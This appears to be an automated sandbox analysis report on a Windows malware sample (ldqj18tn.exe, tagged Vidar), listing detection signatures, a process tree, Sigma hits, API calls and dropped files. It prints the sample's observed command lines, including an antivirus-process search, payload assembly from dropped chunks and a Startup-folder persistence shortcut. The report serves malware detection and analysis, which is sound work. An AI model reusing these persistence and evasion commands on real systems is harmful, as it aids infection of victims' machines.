Edit tour

Windows Analysis Report
ldqj18tn.exe

Overview

General Information

Sample name:	ldqj18tn.exe
Analysis ID:	1577511
MD5:	574ab8397d011243cb52bef069bad2dc
SHA1:	1e1cf543bb08113fec19f9d5b9c1df25ed9232f6
SHA256:	b376d8b2108027a42534314eb5d82a70b06984c7dca8e91df66d00f5c6e91f20
Tags:	18521511316185215113209bulletproofexeVidaruser-abus3reports
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Search for Antivirus process

AI detected suspicious sample

Drops PE files with a suspicious file extension

Sigma detected: WScript or CScript Dropper

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes many files with high entropy

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

ldqj18tn.exe (PID: 2276 cmdline: "C:\Users\user\Desktop\ldqj18tn.exe" MD5: 574AB8397D011243CB52BEF069BAD2DC)

cmd.exe (PID: 6972 cmdline: "C:\Windows\System32\cmd.exe" /c copy Descending Descending.bat & Descending.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 404 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 4092 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 3416 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 5580 cmdline: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 3664 cmdline: cmd /c md 704579 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 5512 cmdline: findstr /V "MARTNMSPIDERRINGTONE" Mh MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5704 cmdline: cmd /c copy /b ..\Consequence + ..\Gently + ..\Situations + ..\International + ..\Jet + ..\Commodities + ..\Mood + ..\Fastest + ..\Estimate + ..\Jessica + ..\Prof + ..\Becoming + ..\Princess + ..\Required + ..\Traveller + ..\Against u MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Organizational.pif (PID: 5884 cmdline: Organizational.pif u MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cmd.exe (PID: 5144 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoMesh.url" & echo URL="C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoMesh.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 2488 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

wscript.exe (PID: 1596 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

InnoMesh.scr (PID: 3816 cmdline: "C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr" "C:\Users\user\AppData\Local\TechMesh Dynamics\M" MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cleanup

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js" , ProcessId: 1596, ProcessName: wscript.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: Organizational.pif u, CommandLine: Organizational.pif u, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Descending Descending.bat & Descending.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6972, ParentProcessName: cmd.exe, ProcessCommandLine: Organizational.pif u, ProcessId: 5884, ProcessName: Organizational.pif

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif, ProcessId: 5884, TargetFilename: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Descending Descending.bat & Descending.bat, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Descending Descending.bat & Descending.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\ldqj18tn.exe", ParentImage: C:\Users\user\Desktop\ldqj18tn.exe, ParentProcessId: 2276, ParentProcessName: ldqj18tn.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Descending Descending.bat & Descending.bat, ProcessId: 6972, ProcessName: cmd.exe

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif, ProcessId: 5884, TargetFilename: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js" , ProcessId: 1596, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 5144, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoMesh.url

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Descending Descending.bat & Descending.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6972, ParentProcessName: cmd.exe, ProcessCommandLine: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , ProcessId: 5580, ProcessName: findstr.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: ldqj18tn.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 86.0% probability

Source: ldqj18tn.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ldqj18tn.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\ldqj18tn.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\ldqj18tn.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\ldqj18tn.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F54005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00F54005
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5494A GetFileAttributesW,FindFirstFileW,FindClose,	11_2_00F5494A
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F53CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00F53CE2
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00F5C2FF
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	11_2_00F5CD9F
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5CD14 FindFirstFileW,FindClose,	11_2_00F5CD14
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00F5F5D8
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00F5F735
Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F5FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00F5FA36
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DD4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00DD4005
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DD494A GetFileAttributesW,FindFirstFileW,FindClose,	17_2_00DD494A
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DDC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_00DDC2FF
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DDCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	17_2_00DDCD9F
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DDCD14 FindFirstFileW,FindClose,	17_2_00DDCD14
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DDF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_00DDF5D8
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DDF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_00DDF735
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DDFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_00DDFA36
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DD3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00DD3CE2

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\704579	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\704579\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: unknown

DNS traffic detected: query: zaZEComvggHsSEuOVnvSMAnVIZblq.zaZEComvggHsSEuOVnvSMAnVIZblq replaycode: Name error (3)

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F629BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

11_2_00F629BA

Source: global traffic

DNS traffic detected: DNS query: zaZEComvggHsSEuOVnvSMAnVIZblq.zaZEComvggHsSEuOVnvSMAnVIZblq

Source: ldqj18tn.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: ldqj18tn.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: ldqj18tn.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: ldqj18tn.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4004748020.0000000003CFB000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4004748020.0000000003CFB000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4004748020.0000000003CFB000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4004748020.0000000003CFB000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: ldqj18tn.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: ldqj18tn.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: ldqj18tn.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ldqj18tn.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: ldqj18tn.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: ldqj18tn.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: ldqj18tn.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: ldqj18tn.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: ldqj18tn.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: ldqj18tn.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4004748020.0000000003CFB000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4004748020.0000000003CFB000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4004748020.0000000003CFB000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4004748020.0000000003CFB000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4004748020.0000000003CFB000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, InnoMesh.scr, 00000011.00000002.4002398623.0000000000E39000.00000002.00000001.01000000.00000008.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: ldqj18tn.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4004748020.0000000003CFB000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: InnoMesh.scr.11.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: ldqj18tn.exe, 00000000.00000003.2138986925.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000002.4004748020.0000000003CFB000.00000004.00000020.00020000.00000000.sdmp, Organizational.pif, 0000000B.00000003.2196969665.000000000437C000.00000004.00000800.00020000.00000000.sdmp, Organizational.pif.2.dr, Volunteer.0.dr, InnoMesh.scr.11.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: C:\Users\user\Desktop\ldqj18tn.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F64830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		11_2_00F64830
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DE4830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		17_2_00DE4830

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

Code function: 11_2_00F64632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

11_2_00F64632

Source: C:\Users\user\Desktop\ldqj18tn.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\704579\Organizational.pif	Code function: 11_2_00F7D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		11_2_00F7D164
Source: C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr	Code function: 17_2_00DFD164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		17_2_00DFD164

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Consequence entropy: 7.99851486835	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\International entropy: 7.99645540823	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Becoming entropy: 7.99806240446	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Gently entropy: 7.99676588989	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Estimate entropy: 7.99772169864	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Jet entropy: 7.99726981823	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Commodities entropy: 7.99796353937	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Prof entropy: 7.99639738608	Jump to dropped file
Source: C:\Users\user\Desktop\ldqj18tn.exe	File created: C:\Users\user\AppData\Local\Temp\Against entropy: 7.995142844	Jump to dropped file
